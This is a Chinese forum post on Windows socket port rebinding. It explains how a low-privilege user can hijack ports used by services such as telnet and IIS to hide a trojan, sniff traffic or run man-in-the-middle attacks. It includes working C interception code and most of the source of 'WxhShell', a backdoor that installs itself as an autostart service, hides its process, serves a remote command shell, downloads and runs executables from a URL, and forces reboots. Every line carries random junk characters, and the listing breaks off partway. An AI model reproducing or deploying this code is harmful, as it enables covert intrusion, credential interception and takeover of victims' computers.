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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B_1u<00kg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MO+0]uh:  
Ft>8 YYyU  
  saddr.sin_family = AF_INET; l"g%vS,;`  
u01^ABn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jYx(  
7q=xW6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :H k4i%hGk  
2Nzcej  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1e%Xyqb  
M& L0n%,y5  
  这意味着什么?意味着可以进行如下的攻击: MH(g<4>*  
Y& %0 eI!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UYLI>XSd  
EnAw8Gm*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qWK7K%-$ E  
TUCp mj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2o}FB\4^i  
7 i\[Q8f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5Wjp_^!e  
uU"s50m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6!m#_z8qG3  
f2XD^:Gc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~UFsiVpL  
kKO]q#9sO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 61 |xv_/  
7guxkN#  
  #include Unk+@$E&  
  #include 4H '&5  
  #include %^A++Z$`  
  #include    ou4?`JF)-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1@Gv`{v  
  int main() dg<fUQ  
  { $*> _0{<  
  WORD wVersionRequested; KL{ uhb0f  
  DWORD ret; &WS%sE{p_  
  WSADATA wsaData; lsf?R'1  
  BOOL val; eu/Sp3@v  
  SOCKADDR_IN saddr; -I<`!kH*  
  SOCKADDR_IN scaddr; o?\Pw9Y  
  int err; l^Z~^.{y  
  SOCKET s; oDK\v8w-  
  SOCKET sc; 7qp|Msf},  
  int caddsize; 6YbSzx` ?k  
  HANDLE mt; I>|?B( F  
  DWORD tid;   `_kRvpi  
  wVersionRequested = MAKEWORD( 2, 2 ); G(e?]{(  
  err = WSAStartup( wVersionRequested, &wsaData ); U{m:{'np(H  
  if ( err != 0 ) { (.) s =  
  printf("error!WSAStartup failed!\n"); -hfY:W`Dz  
  return -1; u{^Kyo#v  
  } H2-(  
  saddr.sin_family = AF_INET; bBL"F!.  
   J]e&z5c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )HcC\[  
A 2 )%+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^|z>NV5>  
  saddr.sin_port = htons(23); Ac%K+Pgk.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~KvCb3~X  
  { $'wl{D"  
  printf("error!socket failed!\n"); X[}%iEWzT  
  return -1; ponvi42u  
  } (d\bSo$]  
  val = TRUE; Vh&KfYY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Qmn5-yiw1d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >Li?@+Zl  
  { -tJ*F!w6U  
  printf("error!setsockopt failed!\n"); fx5vaM!  
  return -1; pj`-T"Q  
  } iddT.   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /PlsF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xR3A4m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nXjUTSGa)  
n9yxZu   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ; o=mL_[  
  { ce\-oT  
  ret=GetLastError(); bv0 %{u&  
  printf("error!bind failed!\n"); x~.U,,1  
  return -1; ^W*/!q7H  
  } _BV:i:z  
  listen(s,2); s.R(3}/  
  while(1) dE~ns ,+  
  { Q)/q h;R u  
  caddsize = sizeof(scaddr); -0{WB(P  
  //接受连接请求 ZVL0S{V-mh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  ?auiq  
  if(sc!=INVALID_SOCKET) fy eS )  
  { mBF?+/l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &3efJ?8  
  if(mt==NULL) |SmN.*&(9  
  { U;/ )V  
  printf("Thread Creat Failed!\n"); @AFLFX]  
  break; D.~t#a A  
  } *W  l{2&  
  } g& Rk}/F  
  CloseHandle(mt); fi)ypv*  
  } JB7]51WH@  
  closesocket(s); &}ow-u9c3  
  WSACleanup(); Q2o:wXvj  
  return 0; Nx"?'-3Hm  
  }   uQlVzN.?  
  DWORD WINAPI ClientThread(LPVOID lpParam) Fk\xq`3'c  
  { QK\z-'&n  
  SOCKET ss = (SOCKET)lpParam; * gnL0\*  
  SOCKET sc; P'+*d#*S  
  unsigned char buf[4096]; ~F-,Q_|-  
  SOCKADDR_IN saddr; >JhQ=j  
  long num; %WR  
  DWORD val; - U|4`{PP  
  DWORD ret; 3ba"[C|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l`k3!EZDS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D {mu2'q  
  saddr.sin_family = AF_INET; >4c 1VEi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4^r}&9C ~  
  saddr.sin_port = htons(23); G(- `FH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wFD .3!  
  { x8^Dhpr6  
  printf("error!socket failed!\n"); 9bB~r[k  
  return -1; &}oDSD H^,  
  } Z,z^[Jz  
  val = 100; q)/4i9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tr8+E;;  
  { F=#Wfl-o  
  ret = GetLastError(); &1&*(oi]X  
  return -1; $FoNEr&q  
  } 9"rATgN1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RK,~mXA  
  { Z7Kc`9.0|  
  ret = GetLastError(); 8[k-8h|  
  return -1; Gs%kqD{=  
  } iR9iI!+;N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _> *"6  
  { KLk37IY2\  
  printf("error!socket connect failed!\n"); eNNK;xXe#  
  closesocket(sc); z K&`&("4C  
  closesocket(ss); Je/R'QP^8  
  return -1; 1DX=\BWp  
  } TS;MGi0`}  
  while(1) `c icjA@~  
  { b#b#r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jH8F^KJM[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ReY K5J=O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sG3%~  
  num = recv(ss,buf,4096,0); "}n]0 >J  
  if(num>0) $I.'7 &h;  
  send(sc,buf,num,0); 09Fr1PL  
  else if(num==0) UwLa9Dn^  
  break; gG}<l ':  
  num = recv(sc,buf,4096,0); N;htKcZ  
  if(num>0) M*x_1h5n  
  send(ss,buf,num,0); )Z62xK2  
  else if(num==0) U@9n 7F  
  break; *aSFJK  
  } gw H6r3=y(  
  closesocket(ss); Zffzyh  
  closesocket(sc); q|~9%Pujg  
  return 0 ; ?vXy7y&4  
  } H)5]K9D  
aJub("  
rA9"CN  
========================================================== YcIk{_N3  
)msqt!Ev  
下边附上一个代码,,WXhSHELL ?g!)[p`v  
r!;NH3 *  
========================================================== =4?m>v,re  
B$fL);l-  
#include "stdafx.h" 1e }wDMU(  
V< J~:b1V  
#include <stdio.h> RJ0w3T]7  
#include <string.h> wqw$6"~  
#include <windows.h> ]86U -`p  
#include <winsock2.h> Ef#%4ky  
#include <winsvc.h> *b> ~L  
#include <urlmon.h> X@ TQD  
U:_&aY_  
#pragma comment (lib, "Ws2_32.lib") :Bl $c,J  
#pragma comment (lib, "urlmon.lib") 5R qkAC  
V97Eb>@  
#define MAX_USER   100 // 最大客户端连接数 291v R]  
#define BUF_SOCK   200 // sock buffer <jxTI%'f59  
#define KEY_BUFF   255 // 输入 buffer 8NpQ"0X  
*/6PkNq  
#define REBOOT     0   // 重启 vrH/Z.WD  
#define SHUTDOWN   1   // 关机 :Vv=p*~  
<CeDIX t  
#define DEF_PORT   5000 // 监听端口 aaLT%  
hEDj"`Px  
#define REG_LEN     16   // 注册表键长度 7Ij'!@no  
#define SVC_LEN     80   // NT服务名长度 pZXva9bE  
cd\0  
// 从dll定义API MwiT1sB~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  75%!R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gg933TLu(Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xmbkn}@A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =*}|y;I  
R`Q9|yF\  
// wxhshell配置信息 JPmW0wM  
struct WSCFG { h T4fKc7P  
  int ws_port;         // 监听端口 [gU z9iU  
  char ws_passstr[REG_LEN]; // 口令 EyozhIV  
  int ws_autoins;       // 安装标记, 1=yes 0=no x#U?~6.6  
  char ws_regname[REG_LEN]; // 注册表键名 WG9x_X&XJ  
  char ws_svcname[REG_LEN]; // 服务名 B+,Z 3*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 41$7P[M;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kZfO`BVL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <wa}A!fu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e)O6k7U$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =xg pr*   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {,,w5/k^  
f~9ADb  
}; Y!}BmRLh2  
D.X%wJ8  
// default Wxhshell configuration }]kzj0m  
struct WSCFG wscfg={DEF_PORT, 8 "|')f#  
    "xuhuanlingzhe", 'xhX\?mD  
    1, qHklu2_%  
    "Wxhshell", s@Y0"   
    "Wxhshell", hK?uGt d?  
            "WxhShell Service", >tYptRP  
    "Wrsky Windows CmdShell Service", xrp%b1Sy  
    "Please Input Your Password: ", \ c9EE-  
  1, 5_#wOz0u$  
  "http://www.wrsky.com/wxhshell.exe", #X`j#"Ov2(  
  "Wxhshell.exe" % ?@PlQ  
    }; "2$C_aE  
&K/5AH"q  
// 消息定义模块 kF`2%g+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gCW.;|2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ',v -&1R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :voQ#f=  
char *msg_ws_ext="\n\rExit."; :k#Y|(  
char *msg_ws_end="\n\rQuit."; }qRYXjS  
char *msg_ws_boot="\n\rReboot..."; bR(rZu5  
char *msg_ws_poff="\n\rShutdown..."; H4MFTnJ{  
char *msg_ws_down="\n\rSave to "; vaW, O/F  
{a\m0Bw/  
char *msg_ws_err="\n\rErr!"; "xi)GH]H_  
char *msg_ws_ok="\n\rOK!"; )L<NW{  
n'K,*  
char ExeFile[MAX_PATH]; 3t)07(x_B  
int nUser = 0; P_ U[OM\  
HANDLE handles[MAX_USER]; !SMIb(~[z  
int OsIsNt; 4,`Yx s)%  
vm_+U*%c  
SERVICE_STATUS       serviceStatus; .IE2d%]?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "l"zbW WOH  
De6WC*trq  
// 函数声明 qn5e[Vn  
int Install(void); KQ9~\No]  
int Uninstall(void); W c{<DE?J  
int DownloadFile(char *sURL, SOCKET wsh); )k&<D*5s  
int Boot(int flag); \GO^2&g(  
void HideProc(void); S=*rWh8)%<  
int GetOsVer(void); 7LbBS:@3z_  
int Wxhshell(SOCKET wsl); hQv~C4Wfrf  
void TalkWithClient(void *cs); 79^Y^.D  
int CmdShell(SOCKET sock); Usx8  U  
int StartFromService(void); N`h,2!(j  
int StartWxhshell(LPSTR lpCmdLine); :?S1#d_  
V>>"nf,YO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,6uON@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |#^wYZO1U  
iimTr_TEt  
// 数据结构和表定义 @FKm_q  
SERVICE_TABLE_ENTRY DispatchTable[] = E3@G^Y  
{ ^~'tQ}]!"  
{wscfg.ws_svcname, NTServiceMain}, 9w9[0BX#  
{NULL, NULL} wM9HZraB<  
}; @GNNi?EY  
i7 _Nv  
// 自我安装 1RgtZp%  
int Install(void) D2z" Z@  
{ 7o_1PwKS6  
  char svExeFile[MAX_PATH]; G:7HL5u  
  HKEY key; ry)g<OA  
  strcpy(svExeFile,ExeFile); >4 4A  
N_Q)AXr)  
// 如果是win9x系统,修改注册表设为自启动 P:,'   
if(!OsIsNt) {  >\6Tm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P/6$ T2k_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SVB> 1s9F  
  RegCloseKey(key); q~]S5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wn6~x2LaV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aDce Ohfx  
  RegCloseKey(key); 6O"?wN%$  
  return 0; |Ii[WfFA|J  
    } Aru=f~!  
  } FOV%\=Hl  
} v'na{"  
else { Jh`Pq,B:  
W}{RJWr  
// 如果是NT以上系统,安装为系统服务 }tJR Bb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n,/eT,48`  
if (schSCManager!=0) }-jS0{i  
{ [CxnGeKK  
  SC_HANDLE schService = CreateService DLggR3K_\  
  ( . 7*k}@k  
  schSCManager, q$RJ3{Sf  
  wscfg.ws_svcname, 6Y9FU  
  wscfg.ws_svcdisp, ,\8F27  
  SERVICE_ALL_ACCESS, a@4 Z x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mUSrCU_}  
  SERVICE_AUTO_START, s2F<H#  
  SERVICE_ERROR_NORMAL, }.*"ezaZw  
  svExeFile, Jy<hTd*q  
  NULL, oHh~!#u  
  NULL, b* (~8JxZ  
  NULL, nY y%=B|>  
  NULL, {&7%wZ"t_  
  NULL M:TN^ rA|  
  ); 0> {&8:  
  if (schService!=0) KTLq~Ru  
  { fz>3  
  CloseServiceHandle(schService); 3lr9nBR  
  CloseServiceHandle(schSCManager); u*}[fQ`aF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]6s7?07m4  
  strcat(svExeFile,wscfg.ws_svcname); |p_\pa1&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^V6cx2M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ["O/%6b9+  
  RegCloseKey(key); +\Uq=@  
  return 0; 4f~ c# 0?  
    } "- 2HKs  
  } WX~: Y,l+u  
  CloseServiceHandle(schSCManager); ]]Bq te  
} oW ! Z= ;  
} f wE b  
9d kuvk}:  
return 1; <e&88{jJ  
} ''D\E6c\  
vtx3a^  
// 自我卸载 AUk-[i  
int Uninstall(void) \iL{q^Im  
{ py|ORVN(Z  
  HKEY key; 96ydcJY0'  
@~p;.=1]F  
if(!OsIsNt) { Z01BzIsR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S2+X/YeB  
  RegDeleteValue(key,wscfg.ws_regname); a%nksuP3  
  RegCloseKey(key); n1XJ uc~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U~3uu &/r  
  RegDeleteValue(key,wscfg.ws_regname); 1PGY/c  
  RegCloseKey(key); 5z/*/F=X  
  return 0; 9!XXuMWU<  
  } 4e`GMtp  
} V8KdY=[  
} "kb[}r4?  
else { ~?6M4!u   
WR|n>i@m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bv:M zYS  
if (schSCManager!=0) LI~ofCp  
{ P55QE+B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [k~}Fe) x  
  if (schService!=0) +jD*Jtb<  
  { W _b!FQ]  
  if(DeleteService(schService)!=0) { )70i/%}7  
  CloseServiceHandle(schService); reP)&Fo  
  CloseServiceHandle(schSCManager); pZxuV(QP`  
  return 0; bT>1S2s  
  } !&(^R<-id  
  CloseServiceHandle(schService); !#[B#DZc(  
  } rd_!'pG  
  CloseServiceHandle(schSCManager); ]nIH0k3y  
} ;9&#Sb/  
} ;6)Onwx  
Ot<vn34mt:  
return 1; y/vGt_^;3<  
} xcHuH -}  
3a Y^6&  
// 从指定url下载文件 y|b&Rup  
int DownloadFile(char *sURL, SOCKET wsh) w|,BTM:e  
{ cM?i _m  
  HRESULT hr; F=g +R~F  
char seps[]= "/"; UwtL v d  
char *token; 5mqwNAv  
char *file; 'g5 Gdn  
char myURL[MAX_PATH]; UG !+&ii|  
char myFILE[MAX_PATH]; #@UzOQ>  
aam6R/4  
strcpy(myURL,sURL); S"<"e\\}"_  
  token=strtok(myURL,seps); ?9Hs,J  
  while(token!=NULL) O~*`YsL9  
  { P->.eo#VG  
    file=token; hU|TP3*  
  token=strtok(NULL,seps); bC h  
  } Pd8zdzf{  
Cs2F/M'  
GetCurrentDirectory(MAX_PATH,myFILE); dbsD\\,2%N  
strcat(myFILE, "\\"); <| =^['vi  
strcat(myFILE, file); Y=5}u&\   
  send(wsh,myFILE,strlen(myFILE),0); WU +OS(  
send(wsh,"...",3,0); |& Pa`=sp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (3VV(18  
  if(hr==S_OK) i-FsA  
return 0; dX;Q\  ]"  
else ExxD w_VGT  
return 1; h0z>dLA#2  
JwNB)e D  
} WV&grG|  
V4 8o+O  
// 系统电源模块 PRi1 `% d  
int Boot(int flag) vuoD~=z  
{ .|g|X8X  
  HANDLE hToken; s&)>gE\  
  TOKEN_PRIVILEGES tkp; i_{b *o_an  
%0Mvd;#[  
  if(OsIsNt) { pd\x^F`sk.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _ `~\zzUZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZnNl3MKV  
    tkp.PrivilegeCount = 1; 1m4Xl%KS>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (x!Tb2mlk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;r3Xh)k;  
if(flag==REBOOT) { <$@*'i^7Ez  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U][\|8i  
  return 0; oYR OGU  
} [))TL  
else { h%PbM`:}6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RQO&F$R=  
  return 0; :~wU/dEEiz  
} P*:9u>  
  } `G_k~ %  
  else { IBm"VCg{Ew  
if(flag==REBOOT) { _q z^|J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _j sJS<21  
  return 0; 6F:< c  
} x^V9;V@6  
else { F tw ;T|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  3PUyua'  
  return 0; 7GDrH/yK  
} jnIf (a  
} %f1>cO9[  
.H#<yPty  
return 1; *-`-P  
} [ BZA1,  
<x[CL,Zg7  
// win9x进程隐藏模块 ,)35Vi;.  
void HideProc(void) ^_ST#fFS  
{ FNR<=M  
m&a 8/5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r WULv  
  if ( hKernel != NULL ) U#6<80Ke  
  { x2h5,.K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }8eu 9~   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {?RVw`g&f  
    FreeLibrary(hKernel); R5& R ~1N  
  } 6DT ^:LHS  
<! Z06  
return; % 3Tz%>n  
} ;"w?@ELE  
jxqKPMf>@%  
// 获取操作系统版本 x%RG>),U  
int GetOsVer(void) uW0Dm#  
{ yllEg9L0z  
  OSVERSIONINFO winfo; W|CZA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W,f XHYst  
  GetVersionEx(&winfo); ?aWMU?S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TGH"OXV*@  
  return 1; *?3c2Jg=E  
  else Ku`u%5<  
  return 0; $(fhO   
} .K`EflN  
wCgi@\  
// 客户端句柄模块 wfQ^3HL  
int Wxhshell(SOCKET wsl) b Od<x >@  
{ FH)_L1n  
  SOCKET wsh; >K n7A  
  struct sockaddr_in client; &>A<{J@VL  
  DWORD myID; i_f\dkol  
952l1c!  
  while(nUser<MAX_USER) *;:dJXR  
{ oM(8'{S=  
  int nSize=sizeof(client); }l7@:ezZZ7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :^rt8>~  
  if(wsh==INVALID_SOCKET) return 1; 0b(x@>  
ybU_x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iHKX#*  
if(handles[nUser]==0) CK9FAuU  
  closesocket(wsh); X'J!.Jj  
else ({0:1*lF@  
  nUser++; Mq jdW   
  } L%HFsuIO-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @p<tJR"M  
]sZ! -q'8  
  return 0; Seh(G  
} ]Ns)fr 6  
xG WA5[YV  
// 关闭 socket 2D2} *);eW  
void CloseIt(SOCKET wsh) YkSHJ{ >  
{ x@3" SiC  
closesocket(wsh); p(!d,YSE  
nUser--; *f o>  
ExitThread(0);  7 T  
} 722:2 {  
(vFO'jtcB-  
// 客户端请求句柄 Y/ I32@  
void TalkWithClient(void *cs) k}0b7er=R  
{ "1Y'VpKm(~  
xmi@ XL@t  
  SOCKET wsh=(SOCKET)cs; gy Ey=@L  
  char pwd[SVC_LEN]; %J L P=(  
  char cmd[KEY_BUFF]; hsHbT^Qm  
char chr[1]; 8Dkq+H93  
int i,j; ,lcS J^yr  
Y?ZzFd,i&  
  while (nUser < MAX_USER) { NXX/JJ+w  
z/,&w_8,:  
if(wscfg.ws_passstr) { 0.[tEnLZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qLV3Y?S!L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VWK%6Ye0  
  //ZeroMemory(pwd,KEY_BUFF); $wC'qV *  
      i=0; FfNUFx2N  
  while(i<SVC_LEN) { &%`WXe-`R  
X ?U'GLm  
  // 设置超时 yA#nnu1  
  fd_set FdRead; 8a3 EVc  
  struct timeval TimeOut; [@_W-rA  
  FD_ZERO(&FdRead); .(99f#2M:  
  FD_SET(wsh,&FdRead); Wv||9[Rd  
  TimeOut.tv_sec=8;  &2bqL!k  
  TimeOut.tv_usec=0; "7Z-ACyF5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *x:*Q \|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?I$-im  
c2gi 3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %j@@J\G!  
  pwd=chr[0]; t:"3M iM=c  
  if(chr[0]==0xd || chr[0]==0xa) { hp`ZmLq/[  
  pwd=0; YQcaWd(  
  break; &z#`Qa3NI  
  } U$ 46=F|  
  i++; ,KCxNdg^#-  
    } 6Ey@)p..E  
waU2C2!w  
  // 如果是非法用户,关闭 socket @H8DGeM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (K_{a+$[  
} V8Ri2&|3  
c\;_ jg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O-huC:zZh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m}7Nu  
cn Oh j  
while(1) { A*g-pJ h  
msY6zJc`  
  ZeroMemory(cmd,KEY_BUFF); c:[ ZknnCe  
S_TD o  
      // 自动支持客户端 telnet标准   X'U~g$"(+  
  j=0; ]!j%Ad  
  while(j<KEY_BUFF) { ]T6pH7~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v[r 8-0c  
  cmd[j]=chr[0]; 3l"8_zLP  
  if(chr[0]==0xa || chr[0]==0xd) { ;W]9DBAB  
  cmd[j]=0; n,d)Wwe_`y  
  break; n(`|:h"  
  } BOWBD@y  
  j++; %>$Pu y\U  
    } 9s1^hW2%Q  
9F[_xe@  
  // 下载文件 ac\([F-  
  if(strstr(cmd,"http://")) {  O4Q"2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |Sm/s;&c6  
  if(DownloadFile(cmd,wsh)) Qj'Ik`o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OJd/#KFm  
  else '4SDAa2f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2$ &B@\WY  
  } x[0O*ty-*<  
  else { S@g(kIo]  
t cO{CI  
    switch(cmd[0]) { xP,b/T #a  
  X`1R&K;z^  
  // 帮助 uaz!ze+  
  case '?': { 050,S`%<g8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JHXkQz[Jb  
    break; LM+d3|gSV  
  } $rlrR'[H  
  // 安装 x FWhr#5,  
  case 'i': { S8Y\@C?5  
    if(Install()) uovv">Uw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #y[U2s Se  
    else !-.GfI:q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !LzA  
    break; b+|3nc!  
    } bK.*v4RG  
  // 卸载 Zazff@O *  
  case 'r': { *yaS^k\  
    if(Uninstall()) R|v'+bv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); </WeB3#6  
    else o<G#%9j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #c5jCy}n  
    break; Yj#tF}nPC  
    } NcP/W>lN  
  // 显示 wxhshell 所在路径 tAF?. \x"g  
  case 'p': { #{PwEX !Ct  
    char svExeFile[MAX_PATH]; ,zltNbu\.(  
    strcpy(svExeFile,"\n\r"); ! 5NuFLOf  
      strcat(svExeFile,ExeFile); 8AX_y3$  
        send(wsh,svExeFile,strlen(svExeFile),0); <S041KF.{6  
    break; *8WB($T}  
    } |1RVm?~i  
  // 重启 LP=j/qf|  
  case 'b': { d 8DU[p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ](A2,F 9(U  
    if(Boot(REBOOT)) Y}1c>5{bE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;4[[T%&v  
    else { }!AS?  
    closesocket(wsh); +.Ij%S[Px5  
    ExitThread(0); e=WjFnK[x7  
    } FO5a<6  
    break; REU,"  
    } 3f] ;y<Km  
  // 关机 QYboX~g~p  
